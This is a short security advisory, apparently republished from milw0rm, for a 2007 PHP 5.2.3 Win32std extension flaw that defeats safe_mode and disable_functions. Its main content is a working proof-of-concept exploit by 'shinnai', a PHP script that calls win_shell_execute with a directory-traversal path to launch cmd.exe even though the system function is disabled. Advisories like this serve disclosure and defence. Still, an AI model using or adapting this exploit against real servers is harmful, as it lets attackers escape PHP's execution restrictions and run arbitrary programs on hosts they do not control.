|
|
| |
| A vulnerability in PHP's Win32std extension allows attackers to bypass the protection mechanism of the PHP environment and execute arbitrary programs. |
| |
Credit:
The information has been provided by shinnai.
The original article can be found at: http://www.milw0rm.com/exploits/4218
|
| |
Vulnerable Systems:
* PHP version 5.2.3
Exploit:
<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
//Thanks to rgod for all his precious advises :)
//I set php.ini in this way:
//safe_mode = On
//disable_functions = system
//if you launch the exploit from the cli, cmd.exe will be wxecuted
//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager
if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>
# milw0rm.com [2007-07-24]
|
|
|
